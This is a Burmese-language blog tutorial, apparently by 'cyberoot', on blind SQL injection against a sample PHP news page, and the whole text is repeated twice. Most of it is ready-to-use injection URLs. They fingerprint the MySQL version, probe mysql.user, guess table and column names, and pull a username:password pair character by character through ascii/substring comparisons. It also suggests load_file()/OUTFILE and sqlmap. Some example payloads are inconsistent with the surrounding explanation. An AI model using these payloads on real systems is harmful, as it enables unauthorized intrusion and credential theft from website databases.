အရင္တုန္းကေရးခဲ႔တာေလးပါ အခုမွျပန္ေတြ႔လို႔ တင္ေပးလိုက္ပါတယ္
ကၽြန္ေတာ္ေပးထားတဲ႔ဥပမာေလးပါ
http://www.site.com/news.php?id=5
ဒီလိုရိုက္လိုက္တဲ႔အခါကၽြန္ေတာ္တို႔ webpage အခ်ိဳ႕ကိုျမင္ရပါမယ္
ျပီးေတာ႔ အဲဒီ page မွာရွိတဲ႔အေၾကာင္းရာေတြ,ဓာတ္ပံုေတြအစသျဖင္႔ေတြ႕ပါလိမ္႔မယ္
ထိုေနာက္မွာေတာ႔ကၽြန္ေတာ္တို႔ blind sql injection attack ကိုစမ္းၾကည္႔ရေအာင္
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
အဲဒီ page ဟာပံုမွန္အလုပ္လုပ္ပါတယ္ဒါဆိုရင္ ေကာင္းျပီဆက္ဆြဲရေအာင္
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
အဲ ဟ အရင္ webpage နဲ႔မတူေတာ႔ဘူးဗ်
စာေတြပံုေတြတစ္ခုခုမူရင္း webpage နဲ႔လြဲေနလိမ္႔မယ္ အင္း၀မ္းသာစရာပဲ႔ဗ်
အဲလိုတစ္ခုခုျဖစ္ေနရင္ဒီဆိုက္ဟာ vulrnable ျဖစ္ေနပါျပီ ဟီးထိေတာ႔မယ္ sql injecton နဲ႔ေပါ႔
ျဖစ္ေနရင္လည္း ဆိုက္ admin ကိုေျပာလိုက္ေနာ္ သူကသင္႔ကိုေက်းဇူးတင္လိိမ္႔မယ္
ဆက္လုပ္ရေအာင္
အဆင္႔ 1 MySQL version ကို ၾကည္႔ရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
MySQL version က 4 ဆိုရင္ True လို return ျပန္ပါလိမ္႔မယ္
ျပီးေတာ႔ 4 ေနရာမွာ 5 လို႔အစားသြင္းၾကည္႔ပါအေပၚကအတိုင္းပဲ႔
MySQL version က 5 ဆိုရင္ True လို return ျပန္ပါလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
အဆင္႔ 2 subselect အလုပ္လုပ္လားစမ္းရေအာင္
ေရႊးထားတာအလုပ္မလုပ္ဘူးဆိုရင္ subselect ကိုဆက္စမ္းရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1)=1
ဒီလိုလုပ္လိုက္လို႔ webpage ပံုမွန္အလုပ္လုပ္တယ္ဆိုရင္ subselect အလုပ္လုပ္ပါတယ္
ဒီေတာ႔ mysql.user ကို access လုပ္ဖို႔ေတြ႔ပါလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
mysql.user ကို access လုပ္ဖို႕ webpage အလုပ္လုပ္ပါလိမ္႔မယ္ျပီးေတာ႔
load_file() function and OUTFILE. ကိုသံုးျပီး password ကိုရွာနိုင္ပါတယ္
အဆင္႔ 3 Table and Column names ကိုစစ္္္ေဆးပါမယ္
ဒီအပိုင္းကိုေတာ႔ သင္႔ကိုယ္တိုင္ခန္႔မွန္းနိုင္ပါတယ္ Smile
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
subselect ဟာ 1 row သာ return ျပန္တာေၾကာင္႔ 0 and 1 လိုသတ္မွတ္ထားရာမွာ data ရဲ႕ row ကေတာ႔ဒီမွာ 1 လို႔ Return ျပန္ပါတယ္ ဒါကအလြန္အေရးၾကီးပါတယ္
False လို႔ return ျပန္ျပီး အခ်ိဳ႕အေၾကာင္းရာေတြတစ္ခုခုလြဲေနျပီဆိုရင္ Table name ကိုမွန္ေအာင္ သင္ကိုယ္တိုင္ခန္႔မွန္းၾကည္႔ေပါ႔ :0
အင္း ဒါဆို Table name က user ဆိုျပီးကၽြန္ေတာ္တို႔ေတြ႔တယ္ဆိုပါစို႕ Cloumn name ကဘာလဲဆိုတာသိဖို႔ဆက္ရွာရမွာပါ
Table name ကိုလုပ္သလိုမ်ိဳးေလ ခက္လိုက္တာေနာ္ Sql injection ကလည္း ေတာ္ျပီ စိတ္ကုန္တယ္ (ဒါေပမယ္႕ကၽြန္ေတာ္အတြက္ေတာ႔ ေကာင္မေလးေတြထက္ေတာ႔ပိုျပီးစိတ္၀င္စားဖို႔ေကာင္းပါတယ္)
Column name ကိုရဖို႔ကၽြန္ေတာ္အေပၚမွာေျပာသလိုမ်ိဳးဆက္ျပီးခန္႔မွန္းၾကည္႔ေပါ႔
ဥပမာ
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
အကယ္ရွ္အဲဒီ page ကပံုမွန္အလုပ္လုပ္မယ္ဆိုရင္ column name က password ဆိုတာသိထားရပါမယ္
အဲဒီမွာ column password and 1 ကိုေရာလိုက္ပါတယ္ဒီေတာ႔ substring က ပထမ character ကို (,1,1) လို႔ return ျပန္ေပးပါတယ္
အဆင္႔ 4 Database ကေန Data ေတြကိုထုတ္ျခင္း
Database ကေန ဆြဲတင္တဲ႔အခါ table users i နဲ႔ columns username password ကိုကၽြန္ေတာ္တို႔ေတြ႔ရလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
table users ထဲမွာရွိတဲ႕ first user ကေန first character ကိုဆြဲတင္ပါတယ္
ascii char က 80 ထက္ၾကီးမယ္ဆိုရင္ page ပံုမွန္အလုပ္လုပ္ပါတယ္ (ture ေပါ႔)
false ျဖစ္တိုင္ေအာင္ဆက္ၾကိဳးစားရပါမယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
True ျဖစ္ေနေသးရင္ တျဖည္းျဖည္းတိုးသြားပါ
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
အဲ True ဆက္ျဖစ္ေနေသးတယ္ဆိုေတာ႔ ဆက္တိုးမယ္ဗ်ာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!! ဟား ေမာလိုက္တာ လိုေနတာအဲဒါပဲ႔ အခုေတာ႔ False ျဖစ္သြားျပီ
ဒါဆို username မွာရွိတဲ႔ ပထမ character ကေတာ႔ char(99). ေပါ႔
ascii converter ကိုသံုးျပီး char(99) ဆိုတာ letter 'c' ျဖစ္တယ္လို႔သိရပါမယ္
ဒါျပီးေတာ႔ second character ကိုထပ္စစ္ေဆးရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
သတိထားရမွာက ကၽြန္ေတာ္က second character ကိုရဖို႔ ,1,1 ကေန ,2,1 ကိုခ်ိန္းလိုက္ပါတယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
True ,ဆိုေတာ႔ပံုမွန္အလုပ္လုပ္ပါတယ္ ဆက္တိုးမယ္
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
False ျဖစ္သြားျပီ နည္းနည္းထပ္ေလွ်ာ႔မယ္
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
True တဲ႔ နည္းနည္းထပ္တိုးရေအာင္ ခ်ိန္ေပးတဲ႔သေဘာပါ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
False ျဖစ္သြားျပီ အဲလိုဆိုေတာ႔
second character က char(105) ဆိုတာကၽြန္ေတာ္တို႔သိျပီ ျပီးေတာ႔ char(105) ဆိုတာ i တဲ႔
ေစာေစာက Table နဲ႔ အခု Column နွစ္ခုေပါင္းလိုက္္ေတာ႔ " ci " ျဖစ္သြားျပီ
Blind SQL Injection အတြက္ Tools အခ်ိဳ႕ရွိပါတယ္ sqlmap ကေတာ႔အေကာင္းဆံုးလို႔ထင္တာပဲ႔ ဒါေပမယ္ manual လုပ္ေဆာင္တာက သင္႔ရဲ႕ injection စြမး္ရည္ကိုပိုေကာင္းလာေစမယ္လို႔ထင္တယ္
ဒီ Tutorial ကေနတစ္ခုခုကိုရမယ္လို႔ေမွ်ာ္လင္႔ပါတယ္
http://www.site.com/news.php?id=5
ဒီလိုရိုက္လိုက္တဲ႔အခါကၽြန္ေတာ္တို႔ webpage အခ်ိဳ႕ကိုျမင္ရပါမယ္
ျပီးေတာ႔ အဲဒီ page မွာရွိတဲ႔အေၾကာင္းရာေတြ,ဓာတ္ပံုေတြအစသျဖင္႔ေတြ႕ပါလိမ္႔မယ္
ထိုေနာက္မွာေတာ႔ကၽြန္ေတာ္တို႔ blind sql injection attack ကိုစမ္းၾကည္႔ရေအာင္
http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
အဲဒီ page ဟာပံုမွန္အလုပ္လုပ္ပါတယ္ဒါဆိုရင္ ေကာင္းျပီဆက္ဆြဲရေအာင္
http://www.site.com/news.php?id=5 and 1=2 <--- this is false
အဲ ဟ အရင္ webpage နဲ႔မတူေတာ႔ဘူးဗ်
စာေတြပံုေတြတစ္ခုခုမူရင္း webpage နဲ႔လြဲေနလိမ္႔မယ္ အင္း၀မ္းသာစရာပဲ႔ဗ်
အဲလိုတစ္ခုခုျဖစ္ေနရင္ဒီဆိုက္ဟာ vulrnable ျဖစ္ေနပါျပီ ဟီးထိေတာ႔မယ္ sql injecton နဲ႔ေပါ႔
ျဖစ္ေနရင္လည္း ဆိုက္ admin ကိုေျပာလိုက္ေနာ္ သူကသင္႔ကိုေက်းဇူးတင္လိိမ္႔မယ္
ဆက္လုပ္ရေအာင္
အဆင္႔ 1 MySQL version ကို ၾကည္႔ရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
MySQL version က 4 ဆိုရင္ True လို return ျပန္ပါလိမ္႔မယ္
ျပီးေတာ႔ 4 ေနရာမွာ 5 လို႔အစားသြင္းၾကည္႔ပါအေပၚကအတိုင္းပဲ႔
MySQL version က 5 ဆိုရင္ True လို return ျပန္ပါလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
အဆင္႔ 2 subselect အလုပ္လုပ္လားစမ္းရေအာင္
ေရႊးထားတာအလုပ္မလုပ္ဘူးဆိုရင္ subselect ကိုဆက္စမ္းရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1)=1
ဒီလိုလုပ္လိုက္လို႔ webpage ပံုမွန္အလုပ္လုပ္တယ္ဆိုရင္ subselect အလုပ္လုပ္ပါတယ္
ဒီေတာ႔ mysql.user ကို access လုပ္ဖို႔ေတြ႔ပါလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
mysql.user ကို access လုပ္ဖို႕ webpage အလုပ္လုပ္ပါလိမ္႔မယ္ျပီးေတာ႔
load_file() function and OUTFILE. ကိုသံုးျပီး password ကိုရွာနိုင္ပါတယ္
အဆင္႔ 3 Table and Column names ကိုစစ္္္ေဆးပါမယ္
ဒီအပိုင္းကိုေတာ႔ သင္႔ကိုယ္တိုင္ခန္႔မွန္းနိုင္ပါတယ္ Smile
ဥပမာ
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1
subselect ဟာ 1 row သာ return ျပန္တာေၾကာင္႔ 0 and 1 လိုသတ္မွတ္ထားရာမွာ data ရဲ႕ row ကေတာ႔ဒီမွာ 1 လို႔ Return ျပန္ပါတယ္ ဒါကအလြန္အေရးၾကီးပါတယ္
False လို႔ return ျပန္ျပီး အခ်ိဳ႕အေၾကာင္းရာေတြတစ္ခုခုလြဲေနျပီဆိုရင္ Table name ကိုမွန္ေအာင္ သင္ကိုယ္တိုင္ခန္႔မွန္းၾကည္႔ေပါ႔ :0
အင္း ဒါဆို Table name က user ဆိုျပီးကၽြန္ေတာ္တို႔ေတြ႔တယ္ဆိုပါစို႕ Cloumn name ကဘာလဲဆိုတာသိဖို႔ဆက္ရွာရမွာပါ
Table name ကိုလုပ္သလိုမ်ိဳးေလ ခက္လိုက္တာေနာ္ Sql injection ကလည္း ေတာ္ျပီ စိတ္ကုန္တယ္ (ဒါေပမယ္႕ကၽြန္ေတာ္အတြက္ေတာ႔ ေကာင္မေလးေတြထက္ေတာ႔ပိုျပီးစိတ္၀င္စားဖို႔ေကာင္းပါတယ္)
Column name ကိုရဖို႔ကၽြန္ေတာ္အေပၚမွာေျပာသလိုမ်ိဳးဆက္ျပီးခန္႔မွန္းၾကည္႔ေပါ႔
ဥပမာ
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
အကယ္ရွ္အဲဒီ page ကပံုမွန္အလုပ္လုပ္မယ္ဆိုရင္ column name က password ဆိုတာသိထားရပါမယ္
အဲဒီမွာ column password and 1 ကိုေရာလိုက္ပါတယ္ဒီေတာ႔ substring က ပထမ character ကို (,1,1) လို႔ return ျပန္ေပးပါတယ္
အဆင္႔ 4 Database ကေန Data ေတြကိုထုတ္ျခင္း
Database ကေန ဆြဲတင္တဲ႔အခါ table users i နဲ႔ columns username password ကိုကၽြန္ေတာ္တို႔ေတြ႔ရလိမ္႔မယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
table users ထဲမွာရွိတဲ႕ first user ကေန first character ကိုဆြဲတင္ပါတယ္
ascii char က 80 ထက္ၾကီးမယ္ဆိုရင္ page ပံုမွန္အလုပ္လုပ္ပါတယ္ (ture ေပါ႔)
false ျဖစ္တိုင္ေအာင္ဆက္ၾကိဳးစားရပါမယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
True ျဖစ္ေနေသးရင္ တျဖည္းျဖည္းတိုးသြားပါ
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
အဲ True ဆက္ျဖစ္ေနေသးတယ္ဆိုေတာ႔ ဆက္တိုးမယ္ဗ်ာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
FALSE!!! ဟား ေမာလိုက္တာ လိုေနတာအဲဒါပဲ႔ အခုေတာ႔ False ျဖစ္သြားျပီ
ဒါဆို username မွာရွိတဲ႔ ပထမ character ကေတာ႔ char(99). ေပါ႔
ascii converter ကိုသံုးျပီး char(99) ဆိုတာ letter 'c' ျဖစ္တယ္လို႔သိရပါမယ္
ဒါျပီးေတာ႔ second character ကိုထပ္စစ္ေဆးရေအာင္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
သတိထားရမွာက ကၽြန္ေတာ္က second character ကိုရဖို႔ ,1,1 ကေန ,2,1 ကိုခ်ိန္းလိုက္ပါတယ္
ဥပမာ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
True ,ဆိုေတာ႔ပံုမွန္အလုပ္လုပ္ပါတယ္ ဆက္တိုးမယ္
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
False ျဖစ္သြားျပီ နည္းနည္းထပ္ေလွ်ာ႔မယ္
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
True တဲ႔ နည္းနည္းထပ္တိုးရေအာင္ ခ်ိန္ေပးတဲ႔သေဘာပါ
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
False ျဖစ္သြားျပီ အဲလိုဆိုေတာ႔
second character က char(105) ဆိုတာကၽြန္ေတာ္တို႔သိျပီ ျပီးေတာ႔ char(105) ဆိုတာ i တဲ႔
ေစာေစာက Table နဲ႔ အခု Column နွစ္ခုေပါင္းလိုက္္ေတာ႔ " ci " ျဖစ္သြားျပီ
Blind SQL Injection အတြက္ Tools အခ်ိဳ႕ရွိပါတယ္ sqlmap ကေတာ႔အေကာင္းဆံုးလို႔ထင္တာပဲ႔ ဒါေပမယ္ manual လုပ္ေဆာင္တာက သင္႔ရဲ႕ injection စြမး္ရည္ကိုပိုေကာင္းလာေစမယ္လို႔ထင္တယ္
ဒီ Tutorial ကေနတစ္ခုခုကိုရမယ္လို႔ေမွ်ာ္လင္႔ပါတယ္
No comments:
Post a Comment
Thanks for your comments
Welcome from cyberoot